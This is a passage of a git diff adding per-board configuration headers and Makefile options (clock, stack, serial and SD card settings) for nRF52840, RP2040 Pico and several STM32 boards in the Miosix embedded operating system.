Options for board nrf52840_generic +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/nrf52840_generic/board_settings.h b/miosix/config/board/nrf52840_generic/board_settings.h new file mode 100644 index 000000000..71d21ae7f --- /dev/null +++ b/miosix/config/board/nrf52840_generic/board_settings.h @@ -0,0 +1,70 @@ +/*************************************************************************** + * Copyright (C) 2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// nrf52840 has 256KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HFINT, HFXO }; +constexpr auto oscillatorType=OscillatorType::HFXO; //Can choose +constexpr unsigned int cpuFrequency=64000000; //Only possible option +constexpr unsigned int peripheralFrequency=16000000; //Only possible option +enum class RtcOscillatorType { NONE, LFRC, LFXO, LFSYNT }; +constexpr auto rtcOscillatorType=RtcOscillatorType::LFRC; //Can choose +constexpr unsigned int rtcOscillatorFrequency=32768; //Only possible option + +/// Power options +enum class VoltageRegulatorType { LDO, SWITCHING }; +constexpr auto vregType=VoltageRegulatorType::SWITCHING; //Can choose +//TODO: second voltage regulator configuration currently unsupported + +/// Serial port TODO +// const unsigned int defaultSerial=0; +// const unsigned int defaultSerialSpeed=115200; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/rp2040_raspberry_pi_pico/Makefile.inc b/miosix/config/board/rp2040_raspberry_pi_pico/Makefile.inc new file mode 100644 index 000000000..3fab9c52b --- /dev/null +++ b/miosix/config/board/rp2040_raspberry_pi_pico/Makefile.inc @@ -0,0 +1,12 @@ +## +## Options for board rp2040_raspberry_pi_pico +## Included by the board's makefile +## + +# Board variant for selecting either the "plain" Pico or Pico W +#BOARD_VARIANT := BOARD_VARIANT_PICO +BOARD_VARIANT := BOARD_VARIANT_PICO_W + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/rp2040_raspberry_pi_pico/board_settings.h b/miosix/config/board/rp2040_raspberry_pi_pico/board_settings.h new file mode 100644 index 000000000..a439e5396 --- /dev/null +++ b/miosix/config/board/rp2040_raspberry_pi_pico/board_settings.h @@ -0,0 +1,102 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// \def WITH_SMP +/// Enables multicore support +#define WITH_SMP + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// RP2040 has 264KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { XOSC }; //Only one supported for now +constexpr auto oscillatorType=OscillatorType::XOSC; +constexpr unsigned int oscillatorFrequency=12000000; +// Supported clock frequencies: 125000000, 133333333, 200000000 +constexpr unsigned int cpuFrequency=200000000; +constexpr unsigned int peripheralFrequency=cpuFrequency; + +/// Serial port +const unsigned int defaultSerial=0; // 0 or 1 +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Pin mapping for usart0, uncomment if defaultSerial==0 +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; // Gpio conflicts with SD default +using defaultSerialCtsPin = Gpio; // Gpio conflicts with SD default +// Pin mapping for usart1, uncomment if defaultSerial==1 +//using defaultSerialTxPin = Gpio; // Gpio conflicts with SD default +//using defaultSerialRxPin = Gpio; // Gpio conflicts with SD default +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +// SD card +const bool enableSdCard=true; +// Dma and NoDma use the SPI device and have pin constraints, Software does not +// The NoDma driver is faster, the Dma driver is slightly slower but uses way +// less CPU, and the Software driver is the slowest but can be used if other +// devices are using the SPI peripherals. +enum class SdCardDriverType { Dma, NoDma, Software }; +const SdCardDriverType defaultSdCardDriver=SdCardDriverType::Dma; +const unsigned int defaultSdCardSPI=0; // 0 or 1 (only for non-Software drivers) +// Pin mapping for spi0, uncomment if defaultSdCardSPI==0 +using defaultSdCardSPISckPin = Gpio; // SD CLK +using defaultSdCardSPISoPin = Gpio; // SD CMD +using defaultSdCardSPISiPin = Gpio; // SD D0 +using defaultSdCardSPICsPin = Gpio; // SD D3 +// Pin mapping for spi1, uncomment if defaultSdCardSPI==1 +//using defaultSdCardSPISckPin = Gpio; // SD CLK +//using defaultSdCardSPISoPin = Gpio; // SD CMD +//using defaultSdCardSPISiPin = Gpio; // SD D0 +//using defaultSdCardSPICsPin = Gpio; // SD D3 + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f030r8_stm32f0discovery/Makefile.inc b/miosix/config/board/stm32f030r8_stm32f0discovery/Makefile.inc new file mode 100644 index 000000000..589021ed0 --- /dev/null +++ b/miosix/config/board/stm32f030r8_stm32f0discovery/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f030r8_stm32f0discovery +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f030r8_stm32f0discovery/board_settings.h b/miosix/config/board/stm32f030r8_stm32f0discovery/board_settings.h new file mode 100644 index 000000000..be1839ce5 --- /dev/null +++ b/miosix/config/board/stm32f030r8_stm32f0discovery/board_settings.h @@ -0,0 +1,79 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F030R8 only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 32000000 +constexpr unsigned int cpuFrequency=32000000; + +/// Serial port +/// Serial ports 1 and 2 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; // Serial DMA not supported on this board +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f072rb_stm32f0discovery/Makefile.inc b/miosix/config/board/stm32f072rb_stm32f0discovery/Makefile.inc new file mode 100644 index 000000000..4e0b85773 --- /dev/null +++ b/miosix/config/board/stm32f072rb_stm32f0discovery/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f072rb_stm32f0discovery +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f072rb_stm32f0discovery/board_settings.h b/miosix/config/board/stm32f072rb_stm32f0discovery/board_settings.h new file mode 100644 index 000000000..18f17e4d5 --- /dev/null +++ b/miosix/config/board/stm32f072rb_stm32f0discovery/board_settings.h @@ -0,0 +1,84 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +#include "interfaces/gpio.h" + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F072RB only has 16KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=0; // HSE (X3) not fitted +// Supported clock frequencies: 32000000 +constexpr unsigned int cpuFrequency=32000000; + +/// Serial port +/// Serial ports 1 to 4 are available (no DMA supported) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; // No DMA for any of the ports +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100c8_microboard/Makefile.inc b/miosix/config/board/stm32f100c8_microboard/Makefile.inc new file mode 100644 index 000000000..a5429f85a --- /dev/null +++ b/miosix/config/board/stm32f100c8_microboard/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f100c8_microboard +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f100c8_microboard/board_settings.h b/miosix/config/board/stm32f100c8_microboard/board_settings.h new file mode 100644 index 000000000..f52dea089 --- /dev/null +++ b/miosix/config/board/stm32f100c8_microboard/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F100C8 only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=0; // no HSE +// Supported clock frequencies: 24000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100c8_vaisala_rs41/Makefile.inc b/miosix/config/board/stm32f100c8_vaisala_rs41/Makefile.inc new file mode 100644 index 000000000..5fa2765a0 --- /dev/null +++ b/miosix/config/board/stm32f100c8_vaisala_rs41/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f100c8_vaisala_rs41 +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f100c8_vaisala_rs41/board_settings.h b/miosix/config/board/stm32f100c8_vaisala_rs41/board_settings.h new file mode 100644 index 000000000..2051b8ad6 --- /dev/null +++ b/miosix/config/board/stm32f100c8_vaisala_rs41/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F100C8 only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI, HSE +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=24000000; +// Supported clock frequencies: 24000000, 8000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100cb_tempsensor/Makefile.inc b/miosix/config/board/stm32f100cb_tempsensor/Makefile.inc new file mode 100644 index 000000000..886556df4 --- /dev/null +++ b/miosix/config/board/stm32f100cb_tempsensor/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f100cb_tempsensor +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f100cb_tempsensor/board_settings.h b/miosix/config/board/stm32f100cb_tempsensor/board_settings.h new file mode 100644 index 000000000..a3bff6cf8 --- /dev/null +++ b/miosix/config/board/stm32f100cb_tempsensor/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2011-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F100CB only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=0; // no HSE +// Supported clock frequencies: 24000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100rb_stm32vldiscovery/Makefile.inc b/miosix/config/board/stm32f100rb_stm32vldiscovery/Makefile.inc new file mode 100644 index 000000000..585cecf97 --- /dev/null +++ b/miosix/config/board/stm32f100rb_stm32vldiscovery/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f100rb_stm32vldiscovery +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f100rb_stm32vldiscovery/board_settings.h b/miosix/config/board/stm32f100rb_stm32vldiscovery/board_settings.h new file mode 100644 index 000000000..3347516a3 --- /dev/null +++ b/miosix/config/board/stm32f100rb_stm32vldiscovery/board_settings.h @@ -0,0 +1,97 @@ +/*************************************************************************** + * Copyright (C) 2011-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F100RB only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI, HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100rc_solertegiard/Makefile.inc b/miosix/config/board/stm32f100rc_solertegiard/Makefile.inc new file mode 100644 index 000000000..f1c025989 --- /dev/null +++ b/miosix/config/board/stm32f100rc_solertegiard/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f100rc_solertegiard +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f100rc_solertegiard/board_settings.h b/miosix/config/board/stm32f100rc_solertegiard/board_settings.h new file mode 100644 index 000000000..e45c866f8 --- /dev/null +++ b/miosix/config/board/stm32f100rc_solertegiard/board_settings.h @@ -0,0 +1,96 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F100RB only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f100xb_generic/Makefile.inc b/miosix/config/board/stm32f100xb_generic/Makefile.inc new 